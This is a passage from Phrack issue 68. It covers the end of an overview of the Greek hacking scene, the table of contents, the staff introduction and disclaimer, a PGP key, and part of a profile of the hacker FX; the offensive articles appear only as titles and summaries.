One of the most interesting things to note about the Greek underground scene, was the fact that although there were plenty of skilled individuals, no one ever tried to unite them. Most of them used to work alone, isolated from the rest. It was obvious that something had to be done to help those individuals come together, exchange ideas, cooperate and contribute. It was then, about two years ago, when two guys from the Engineering school of A.U.Th. (Thessaloniki, Greece) grabbed a bunch of redundant boxes, set up a CVS server, a website, an IRC network and published an open invitation [GRH]. GR Hack was born. The fact that Greek Universities are modern sanctuaries and the fact that academics are protected by asylum laws, made the location an ideal place for a hacking community.

Although not a team in the strict sense, the GR Hack community is still a very active think tank composed of well known and respected Greek hackers. Members and friends of GR Hack have published work in Phrack ([ARG], [ITH], [HUK]), have participated in security conferences like AthCon and Black Hat and have had a great time meeting in real life, drinking alcohol and sharing knowledge. The core of the community consists of a circle of trusted individuals (software analysts/reverse engineers, old school hackers, administrators etc.) who are more than willing to cooperate with other people that take security seriously and have a passion for hacking.

‑‑‑‑[ 2.2 Meetings

‑‑‑‑‑‑[ 2.2.1 0x375

The need for an event came as no surprise. Everyone agreed that the local underground scene had been inactive for quite a long time and that a meeting (preferably with a catchy name!) would be the ideal motive for all those who were willing to share their ideas but never had the chance to. The place was Thessaloniki, and the name was picked to be Thessaloniki Tech Talk Sessions or just TTTS. Since TTTS was not cool enough, the final name for the meeting was chosen to be 3TS and was later settled to 0x375 (almost overnight!). During 0x375 meetings people give presentations on technical topics, have an open discussion and an afternoon full of fun. Currently, the Greek underground scene is preparing for 0x375 0x03 but the lack of people willing to contribute has made the whole process a difficult task. 0x375 material is published at [375].

‑‑‑‑‑‑[ 2.2.2 AthCon

Following the classic naming convention of other "cons", three people from Athens decided to organize AthCon, an IT security conference that would take place in Athens, Greece. The AthCon staff announced an open call for papers and promised everyone that it was going to be a cool event. And, yes, it was. The first ever AthCon took place in June 2010 and was actually the first "con" to take place in Greece. The event featured a capture the flag contest, a closing party and cool presentations. It's interesting to note that AthCon attracted a lot of people active in the international security scene [ATH] both as speakers or as part of the audience. AthCon was the perfect place for everyone to meet in real life and have fun. We would, definitely, like to see more security conferences taking place in Greece in the near future.

‑‑‑‑‑‑[ 2.2.3 2600

According to the official Greek 2600 site [260], 2600 meetings started taking place in Athens back in 1999 and, as far as the authors know, they are still frequently organized. During 2600 meetings various people, mainly young inexperienced ones (and that doesn't really matter), meet to have a drink and talk about technical matters. Although we haven't personally attended any of those meetings lately, we believe that they serve a good purpose.

‑‑‑‑[ 2.3 Online forums

We live in the, so called, "century of information" and it seems that Greek hackers have kept up with the pace information travels. Fortunately, Greeks are quite active when it comes to setting up discussion forums and blogs. P0wnbox [PWN] is such a discussion forum. Although most of its members are freshmen (in a good sense), there are some interesting discussions on that board from time to time.

Hey, we are pretty sure you already know xorl's blog, right? It's probably one of the most famous security blogs around and it's mostly dedicated to vulnerability analysis. The pace by which xorl posts stuff may cause you vertigo! Xorl is doing a great job and it's obvious that he spends a quite fair amount of his daily free time on posting things. His blog [XRL] is well worth visiting if you don't already know it.

‑‑‑‑[ 2.4 ‑ Controversial groups

In the recent past there have been a number of groups doing defacements and fighting each other with childish insults. One of the most high profile cases of this is the CERN defacement. There are tons of articles on the Internet about the CERN incident and the events associated with the defacement of the lxplus.cern.ch web server. We will merely state the obvious. The content of the CERN defacement put blame on the same behavior that itself was perpetuating.

Another recent trend in the Greek web defacement "scene" is the emergence of extreme nationalistic groups. These groups attack web sites associated with neighboring countries and deface them with nationalistic content and messages. One of these groups uses a name (Greek Hacking Scene) quite similar to a historic Greek hacking group (Greek Hackers Society). Their reasons for using a similar name are quite obvious. We personally believe that what nationalism stands for goes against the spirit of hacking, and we will leave it at that.

Last but not least, Hack4Fame was a self‑proclaimed hacking group supposedly composed of blackhat hackers from various countries including Greece. However, it was obvious to most of us who the single person behind Hack4Fame was. In February 2010, Hack4Fame used standard media tricks to publish data that were supposedly stolen after a hack in a Greek bank. The data, which in reality were circulating the Greek underground scene for more than 8 years, belonged to other individuals who either hacked the aforementioned bank in the past or had performed fully legal penetration tests. We don't know what the motive was for Hack4Fame but we definitely disagree with his behavior, especially when it comes to publishing third party private material belonging either to a company or to individuals.

‑‑‑‑[ 2.6 ‑ Demo scene

The demo scene has always been very closely associated to the hacking scene having forked from it. While in the past the demo scene in Greece was quite active, several demo parties were organized in a yearly basis with the most famous one being The Gardening [GRD], it is currently in a state of hibernation. An example of this sad state of affairs is that the past Greek demo scene online home is now a web page full of advertisements [DMS].

However there is one Greek demogroup that isn't just currently active, but is also transcending the borders of Greece and is successfully participating in international demo scene competitions [ASD]. Andromeda Software Development (ASD) were formed in 1992 and participated for the first time in a Greek demo party in 1995 (The Gardening 1995). They originally developed demos on MS DOS with Borland Turbo Pascal and inline 16‑bit assembly. In 2003 they competed for their first time in an international event (Assembly 2003) and in 2005 they won that year's Assembly demo party. Since then they regularly compete in international demo scene events and have won many times [AWP].

‑‑‑‑[ 2.6 ‑ Pentesting community

Although we all like to pretend that the commercial penetration testing community has little to do with the underground, we all know that it actually has much to do with us. In Greece many, surely not all though, pentesters that work for security companies come from an underground hacking background. Others try to become part of the hacking scene in order to leech technical know‑how, code and sometimes even ready‑to‑use weaponized exploits. Lately we have seen the emergence of a particular community of people that do a security MSc degree at a semi‑respectable UK university (no need to mention it by name, it is well‑known in security circles), return to Greece and pretend to know everything there is to know about "hacking". These people fail to understand the importance of the underground and their leeching behavior actively contributes to the demise of the already weak Greek scene. We all hope that Greek security companies will start to publish tools, give talks and generally support and contribute back to the underground hacking scene that has taught them so much in their early days.

‑‑‑‑[ 2.7 ‑ Open source related events

The open source movement has seen a certain degree of acceptance and has gained several followers and evangelists in Greece. As part of this movement there have been several communities that have and still are organizing technical talks and events. Although these events are not primarily focused on security topics, there have been interesting security talks from time to time. The Software Libre Society at the University of Piraeus [SLS] deserves a special mention since it has been meeting on a regular basis and most talks presented there are of an acceptable to high technical level.

‑‑‑‑[ 2.8 ‑ Academia

Last but not least, it's quite encouraging that Greek universities have recently started dealing with security more seriously. There are several opportunities for a student to do some serious research for a thesis, an MSc or a PhD that focuses on security both formally and practically. This is good news since a couple of years ago the phrase "applied security research" sounded alien to most academics. Namely, the Electrical and Computer Engineering Department of A.U.Th. (Thessaloniki, Greece) and N.T.U.A. (Athens, Greece) as well as the CS department of the University of Piraeus (Piraeus, Greece) are currently some of those places where one can treat security more academically.

Another academic institute that is actively doing security research is ICS, FORTH in Heraklion, Crete [ICS]. Among their research topics are large scale malware analysis, the monitoring of Internet for malware traffic and malware epidemics. They have developed their own honeypot/honeynet software which runs on a host machine and binds several well‑known ports that aren't used by the host. All the traffic that comes to these ports is forwarded to their own backend infrastructure for further analysis. Furthermore, they have recently started doing research on GPU‑hosted malware.

Unfortunately, due to certain narrow minded extremists that represent various political (and mostly partisan) views, Greek universities are still quite far from doing some real, valuable research and even further from collaborating with the very few capable security companies. Analysis of the Greek educational system is a very interesting topic that may teach you all how to respect the fact that you were born in a more civilized country :‑)

‑‑[ 3 ‑ Conclusion, what does the future hold

The near future seems debatable for the Greek computer underground scene. The fact that it is so small means that it is flexible and adaptable, but also means that fragmentations and grudges between individuals can wound it gravely. The Greek scene cannot be forcefully resurrected, that would only lead to more mindless zombies with no motivation and no passion for hacking. We would like to conclude with a positive message and we feel that the conclusion of the "Underground Myth" article in issue 65 applies well to the current situation in Greece [UND]:

"All that remains is to relax, to do what you enjoy doing; to hack purely for the enjoyment of doing so. The rest will come naturally, a new scene, with its own traditions, culture and history. A new underground, organically formed over time, just like the first, out of the hacker's natural inclination to share and explore."

We hope you enjoyed this brief overview of the current state of the Greek security scene. Greets and thanks to the people that provided extra information on certain topics. You know who you are.

Stay tuned for the second part of this article.

‑‑[ 4 ‑ References

[GRH] http://www.grhack.net/

[ARG] http://www.phrack.org/issues.html?issue=66&id=8#article

[ITH] http://www.phrack.org/issues.html?issue=66&id=9#article

[HUK] http://www.phrack.org/issues.html?issue=66&id=6#article

[375] https://www.grhack.net/files/0x375/

[ATH] http://www.athcon.org/speakers/

[260] http://www.2600.gr/

[PWN] http://www.p0wnbox.com/

[XRL] http://xorl.wordpress.com/

[GRD] http://www.deus.gr/gardening.html

[DMS] http://www.demoscene.gr/

[ASD] http://www.asd.gr/

[AWP] http://en.wikipedia.org/wiki/Andromeda_Software_Development

[ICS] http://www.ics.forth.gr/

[SLS] http://rainbow.cs.unipi.gr/projects/oss/

68

- Introduction by The Phrack Staff

- Phrack Prophile on FX by The Phrack Staff

- Phrack World News by TCLH

- Linenoise by various

- Loopback by The Phrack Staff

- Android Kernel Rootkit by dong-hoon you

- Happy Hacking by anonymous author

- Practical cracking of white-box implementations by sysk

- Single Process Parasite by Crossbower

- Pseudomonarchia jemallocum by argp & huku

- Infecting loadable kernel modules by styx^

- The Art of Exploitation by redpantz

- The Art of Exploitation by huku & argp

- Secure Function Evaluation vs. Deniability in OTR and similar protocols by greg

- Similarities for Fun and Profit by Pouik & G0rfi3ld

- Lines in the Sand by anonymous author

- Abusing Netlogon to steal an Active Directory's secrets by the p1ckp0ck3t

- 25 Years of SummerCon by Shmeck

- International Scenes by various

Introduction

==Phrack Inc.==

Volume 0x0e, Issue 0x44, Phile #0x01 of 0x13

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Introduction ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ by the Phrack staff ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ April 14, 2012 ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

"C is quirky, flawed, and an enormous success."

‑‑ Dennis Ritchie

October 2011, a legend has fallen...

_____.______.__

\`\

\ |

>|___,____,__

/d$$$P ,ssssssssssss. \ /d$$$P ,d$$$$$$$$$$$$$b \

<=====w======w======w=====>

\ \____> \_____

\_____________pb

Dennis Ritchie, proud father of nothing less than our beloved C language and UNIX operating system, is gone. While the world has been crying over the loss of Steve Jobs, little has been written about Dennis' death. Saying that his inventions influenced the hacking community in a way even he probably never knew is _not_ an exaggeration. Think about it: how many of us became hackers because we discovered C, related bugs or UNIX?

Dennis, the world might not be aware of your unbelievable contribution but we are. Farewell dear friend, may you rest in peace.

anonymous bug hunter

‑‑‑‑‑( Dark Thoughts )‑‑‑‑

Today I woke up thinking about the death of this Chinese little girl [1]. I felt bad. It's true that watching the youtube video was disturbing but something kept hitting my mind. What if the incident had occurred in my country? Would people really have behaved any differently? I have doubts. Just because a video leaked on the Internet people conveniently blamed China, a country both controverted and feared.

What if the modern society in general was tending to slowly become amoral and cold? A proof is that we all watched this video fully aware of its content. Vicious, aren't we? But not only that. We're also fucking cowards. Suddenly discovering that there is a darkness hidden inside the very roots of our society is dramatic. But pretending to ignore the fact that there are countries in this world where atrocious massacres are part of the daily life seems fine.

It was written in the US Declaration of Independence that "We hold these truths to be self‑evident, that all men are created equal [...]". How could that possibly be true? This morning I was at home, healthy, comfortably sitting in front of my computer screen, with a cup of coffee in hand. A few minutes later, I was working (or luxuriously pretending to be) to earn money that I spent in the bar that night with my friends. In the mean time, not so far away, people were killed, raped, mutilated. The truth is that I don't even care when I think about it. This morning I was pretending being concerned for other people, but tonight I don't give a shit anymore.

Something must be wrong.

‑‑ anonymous coward / Phrack

[1] http://www.chinapost.com.tw/china/national‑news/2011/10/21/320549/

Chinese‑girl.htm

‑‑‑‑‑( Phrack Issue #68 )‑‑‑‑‑

Hello Phrackers! How are you guys doing? We hope well. We hope your latest exploit works reliably (again) and all your bounces are alive and pinging. We also hope you and your friends still are out of prison, or recently came out (wink wink). Us, we're doing good. Looks like we did it again and a new release is here. Ya‑hoo.

This release brings you an amazing selection of hacking goodies. We have two papers on applied cryptanalysis by greg and SysK, an area in which we hope to see more submissions for the next issues. We are also thrilled about the return of the Art of Exploitation section. And what a return; we have for you not one, but two detailed papers demonstrating that exploitation is indeed an art form. Speaking of exploitation, did you ever wonder what Firefox, FreeBSD and NetBSD have in common? Read the paper by argp & huku and find out. Are you hacking Windows' farms? Be sure to check the p1ckp0ck3t's novel approach of stealing Active Directory password hashes. Perhaps you prefer malware analysis and identification of malware families; Pouik and G0rfi3ld have written a paper with a focus on Android malware that will satisfy you. Android is quickly becoming the standard mobile platform. I think it's time for an Android/ARM kernel rootkit. Start from dong‑hoon you's paper and hack your own. styx^ continues the kernel fun with a paper that updates truff's LKM infection techniques to 2.6.x and 3.x Linux kernels. If for whatever reason you're afraid of messing with your kernels, Crossbower shows you how to create a stealthy userland backdoor without creating new processes or threads.

We also believe that you will find merit with the two main non technical papers of this issue. Both address more or less the same topics, but from two totally different points of view. On one hand, we have an analysis of how the happiness that hacking brings to all of us can and is corrupted by the security industry. One the other, a call to all hackers to take a side between staying true to the spirit of hacking and selling out to the military intelligence industrial complex. Read them, think about them and take a side. Remember, "The hottest places in hell are reserved for those who in times of great moral crisis maintain their neutrality".

Phrack World News is also making a comeback, courtesy of TCLH. In International Scenes we explore Korea and the past of the Greek scene. Loopback has increased and we decided to resurrect Linenoise as we had some tiny but not less interesting submissions. While being eligible for an issue remains hard, submitting for Linenoise may be an easier way for people to share tricks in the next issues.

We are proud to have FX prophiled in this epic issue. As an added gift, FX wrote a eulogy for PH‑Neutral, at least in its original form. PH‑Neutral, as all great hacker creations, lives on as long as the hackers behind it are fueling it with their passion.

Speaking of hacker passion, this issue re‑establishes a long lost connection. Phrack and SummerCon are again bonded on the 25th anniversary of SummerCon! Shmeck and redpantz, representing SummerCon, contribute two papers; a history of the conference from its beginning in 1987 to this year, and of course one of the Art of Exploitation papers.

Believe it or not it was _fucking_ hard to prepare this issue. It's no news that the mentality of the hacking community has changed, but this time we had to face multiple deceptions. It's not the first time, however the quantity makes this event scary. It demonstrates how rotten and corrupted the so‑called spirit of some people pretending to be part of the underground has become.

There's a time when you realize that you've lost count of the battles you lost, but you still kinda won enough to keep faith. More importantly, you realize that you still care. Granted, it's not the deep, mystical and life changing moment that movies display ‑‑ the huge pile of shit you pushed out of the door just before getting to sleep is still there. It maybe just stinks a little less.

But we care, hell, we really care about Phrack and what it means. It costs time and frustration, many battles lost, it faces the two‑point‑oh revolution (lots of quality stuff goes into blogs, for immediate consumption) and the money drop by the security industry, but the satisfaction of seeing it out again is huge. Yes, we care.

And that's not just because we're a bunch of old farts that stay attached to the past. We care because it's a constant, maybe feeble but constant, heartbeat of that world, that community that we grew up and now live in. You know, that little thing called 'the Underground' that we are proud and honored to somehow, in part, represent.

We've heard from many corners that 'the Underground' is dead. We'd love to hear those people describe what the Underground is, then. Sure, things change, evolve. Laws, computing power, money invested, political links, technology, every piece moves fast and reshapes the landscape. But if you're reading these lines today, if you've just finished a 36‑hour coding, hacking marathon, you're keeping it alive.

So thank you, for that. Thank you to the authors for finding the time of sharing their knowledge. Thank you to anyone that setups a new connection. Thank you to whomever fights for information and freedom. Thanks crews.

Happy hacking, Phrackers.

You guys are the BEST heartbeat in the world.

‑‑ the Phrack staff

______ _ _ ______ ______

(_____ \| | | (_____ \ /\ / _____)

_____) ) |__ | |_____) ) / \ | / |

| ____/| __)| (_____ ( / /\ \| | |

| | | | | | | | |__| | \_____|

|_| |_| |_| |_|______|\______)

‑ By the community, for the community. ‑

$ cat p68/index.txt

<‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑( Table of Contents )‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑>

0x01 Introduction ...................................... Phrack Staff

0x02 Phrack Prophile on FX ............................. Phrack Staff

0x03 Phrack World News ................................. TCLH

0x04 Linenoise .......................................various

0x05 Loopback .......................................Phrack Staff

0x06 Android Linux Kernel Rootkit ...................... dong‑hoon you

0x07 Happy Hacking ..................................... Anonymous

0x08 Practical cracking of white‑box implementations ... SysK

0x09 Single Process Parasite ........................... Crossbower

0x0a Pseudomonarchia jemallocum ........................ argp & huku

0x0b Infecting loadable kernel modules ................. styx^

0x0c The Art of Exploitation:

MS IIS 7.5 Remote Heap Overflow ................... redpantz

0x0d The Art of Exploitation:

Exploiting VLC, a jemalloc case study ............. huku & argp

0x0e Secure Function Evaluation vs. Deniability in OTR

and similar protocols ............................. greg

0x0f Similarities for Fun and Profit ................... Pouik & G0rfi3ld

0x10 Lines in the Sand: Which Side Are You On in the

Hacker Class War .................................. Anonymous

0x11 Abusing Netlogon to steal an Active Directory's

secrets .......................................the p1ckp0ck3t

0x12 25 Years of SummerCon ............................. Shmeck

0x13 International Scenes .............................. various

<‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑‑‑‑( GreetZ for issue #68 )‑‑‑‑‑

‑ FX: epicness personified ‑ herm1t: you have our support ‑ TCLH: for everything

‑ x82: deepest apologies for the 1 year wait ‑ anonymous authors: best part of this issue ‑ sysk: keep submitting man! ‑ redpantz & Shmeck: Phrack and SummerCon bonded again ‑ greg: schooling Alice and Bob ‑ Crossbower: parasite zoologist

‑ the p1ckp0ck3t: be wary or he will get your hashes ‑ huku & argp: the scourge of memory allocators ‑ styx^: yes we are hardcore reviewers ‑ Pouik & G0rfi3ld: who the hell is G0rfi3ld??? ;> ‑ scene phile writers: you have big balls guyz ‑ linenoise writers: Eva you're soooooooo cute :3 ‑ our generous hoster: a contribution not forgotten ;) ‑ z4ppy, ender: external reviews are paid in beers ‑ b3n: too bad we didn't use your stuff ‑ No greetz, no thankz to: you know who you are :<

And of course many thanks to the loopback contributors :')

‑‑‑‑‑( Phrack Magazine's policy )‑‑‑‑‑

phrack:~# head ‑n 22 /usr/include/std‑disclaimer.h

/*

* All information in Phrack Magazine is, to the best of the ability of * the editors and contributors, truthful and accurate. When possible, * all facts are checked, all code is compiled. However, we are not * omniscient (hell, we don't even get paid). It is entirely possible * something contained within this publication is incorrect in some way. * If this is the case, please drop us some email so that we can correct * it in a future issue.

*

*

* Also, keep in mind that Phrack Magazine accepts no responsibility for * the entirely stupid (or illegal) things people may do with the * information contained herein. Phrack is a compendium of knowledge, * wisdom, wit, and sass. We neither advocate, condone nor participate * in any sort of illicit behavior. But we will sit back and watch. *

*

* Lastly, it bears mentioning that the opinions that may be expressed in * the articles of Phrack Magazine are intellectual property of their * authors.

* These opinions do not necessarily represent those of the Phrack Staff. */

‑‑‑‑‑( Contact Phrack Magazine )‑‑‑‑‑

< Editors : staff[at]phrack{dot}org > > Submissions : staff[at]phrack{dot}org < < Commentary : loopback[@]phrack{dot}org > > Phrack World News : pwned[at]phrack{dot}org <

Submissions may be encrypted with the following PGP key: (Hint: Always use the PGP key from the latest issue)

‑‑‑‑‑BEGIN PGP PUBLIC KEY BLOCK‑‑‑‑‑

Version: PHRACK

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

=cK7U

‑‑‑‑‑END PGP PUBLIC KEY BLOCK‑‑‑‑‑

Phrack Prophile on FX

==Phrack Inc.==

Volume 0x0e, Issue 0x44, Phile #0x02 of 0x13

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ PHRACK PROPHILE ON ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ FX of Phenoelit ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑=[ Specifications

Handle: FX

AKA: 41414141

Handle origin: First and last letter of my first name (I had no idea it had a meaning in movie production) Produced in: East Germany

Urlz: http://www.phenoelit.de/

Computers: Metric tons of them

Creator of: much crappy and useless code

Member of: Phenoelit, Toolcrypt

Projects: PH‑Neutral, Phonoelit

Codez: IRPAS (bunch of tools that somehow still cause havoc) cd00r.c (later called PortKnocking by the copycats) works‑on‑my‑machine exploits

Active since: late 80s

Inactive since: unlikely to happen

|=‑‑‑=[ Favorites

Actors: don't care

Films: Hackers (1995) ‑ imagine it actually would be like that Authors: Neal Stephenson, Iain M. Banks, Frank & Brian Herbert Meetings: Bars

Sex: ACK

Books: Computer Security, Time‑Life Books (1986), and it began Novel: too many to list

Music: Progressive House Kitsch

Alcohol: Oh Yes!

Cars: Mercedes‑Benz

Girls: SYN

Foods: German

I like: honesty, pragmatism, realism, tolerance, style, empathy I dislike: fakes, aggression, ignorance, senselessness, deception

|=‑‑‑=[ Describe your life in 3 sentences

Every work day is packed with challenges, great hacks and awesome people. Every free day compensates with non‑security hobbies and sleep. This sentence is padding.

|=‑‑‑=[ First contact with computers

At the age of 6 at the computing department of the university of Sofia, Bulgaria. Didn't leave much of an impression, as I was only allowed to play a silly game (in CGA color).

Second contact happened at the age of 9 or 10, a Robotron Z9001. It came without software but with a typewriter made programming manual for BASIC. I read it cover to cover.

|=‑‑‑=[ Passions: What makes you tick

Like‑minded people: Conversations give me the greatest boost. Let me explain something to a person who gets it, and I will have a new idea how to take it further.

Also, work. That state of a problem where it is no longer fun, but actual work, to get it where you want it. Not letting go. Stubbornness compensates for a lot of talent.

|=‑‑‑=[ Unix or Windows? Juniper or Cisco?

Unix and Windows. I like both, I use both, they both suck in their own ways. The only thing you will not see me with is anything Apple.

Juniper, Cisco, all networking equipment is broken, Cisco being in the lead. How can you sell equipment that is in most cases simply forwarding IPv4 packets from interface 1 to interface 2 since 1987 and still crash on parsing IPv4 in 2011?

|=‑‑‑=[ Color of hat?

undef($hat);

|=‑‑‑=[ Entrance in the underground

First contact must have been around 1990. Shortly after the Berlin wall came down, I got my first 80286 machine and hung out at a computer club in a Thaelmann Pionieers' (youth organization of schoolchildren in East Germany) youth center. In a back room, two older guys downloaded infrared images from Russian satellites. While the download ran, they cracked PC games for the kids to pass the time. First time I saw a hex dump.

I had the great honor to meet many people that I consider(ed) part of the real underground. Some of them still are. But I don't think I was ever part of that myself.

|=‑‑‑=[ Which research have you done or which one gave you the most fun?

Anything I did was fun at the time, why doing it otherwise? I generally like fiddling around with Bits and bytes more than hunting bugs in large environments. Writing disassemblers, debuggers and the like is a pleasure. It's also monkey work. But it lets you feel so much about the history and design of a platform.

I also like network protocols, because you can often see the vulnerability potential by reading the specifications already. Protocols are interfaces and interfaces are where the bugs live. Also, logging functions love to use packet contents and fixed buffers.

|=‑‑‑=[ Personal general opinion about the underground

Much. Fucking. Respect.

Seriously, what is published is only the tip of an iceberg. Once you talk to people, it's simply insane how much knowledge there is. Interestingly, I have the impression that little of this knowledge is ever used.

One aspect often considered essential in the underground I dislike: Owning people fails to impress me. It's like beating people up, everyone can do that and none of it makes it an achievement. If you found that vulnerability yourself and made a custom exploit, that's an achievement.

|=‑‑‑=[ Personal general opinion about the German underground

Regardless of the definition of underground, the hacking scene in Germany is very alive and diverse. However, I would love to see more of them write exploits.

|=‑‑‑=[ Personal general opinion about the European underground

The U.S. is much more visible, but Old Europe kicks their ass any time. Just looking at the French scene is scary. If only they would speak English ;) And don't even get me started on east Europe and Russia.

|=‑‑‑=[ Memorable experiences/hacks

‑ Finding my first overflow in Cisco IOS TFTP, resisting the urge to post it immediately and deciding to write an exploit. Then realizing how much of a journey lay ahead of me, since I had never written any exploit before.

‑ Writing an exploit that needed to be stable, i.e. work in the wild. After weeks of frustration finally understanding that PoC is only 10% of exploit development. Halvar saving my ass again with a simple hint.

‑ Being asked by my employer to take the CISSP exam, being initially rejected due to my "connections to hackers" as a DEFCON speaker, being allowed to take the exam and finding a 12 octet MAC address in a question. Finding out afterwards that (ISC)2 probably has more admin users on their web servers than paying members.

‑ Asking someone to look at Cisco IOS exploitation after I spent about a decade with it and getting my ass kicked in less than a week. True talent trumps everything.

‑ Caesar's Challenge over the years: hearing about it, being invited in, being told by Caesar that he accepts my solution, welcoming Caesar to PH‑Neutral.

‑ Being invited to train a team of hackers and later finding out that the whole purpose of the exercise was to cure them from their respect for me. And it worked.

‑ The nights in Wuxi (China) with the Wuxi Pwnage Team.

|=‑‑‑=[ Memorable people you have met

‑ Halvar Flake

I have to thank this man for a lot of things in my life.

‑ Sergey Bratus

A great man with a great vision. He changed how I look at academia and hacking. With people like Sergey, there is hope.

‑ John Lambert

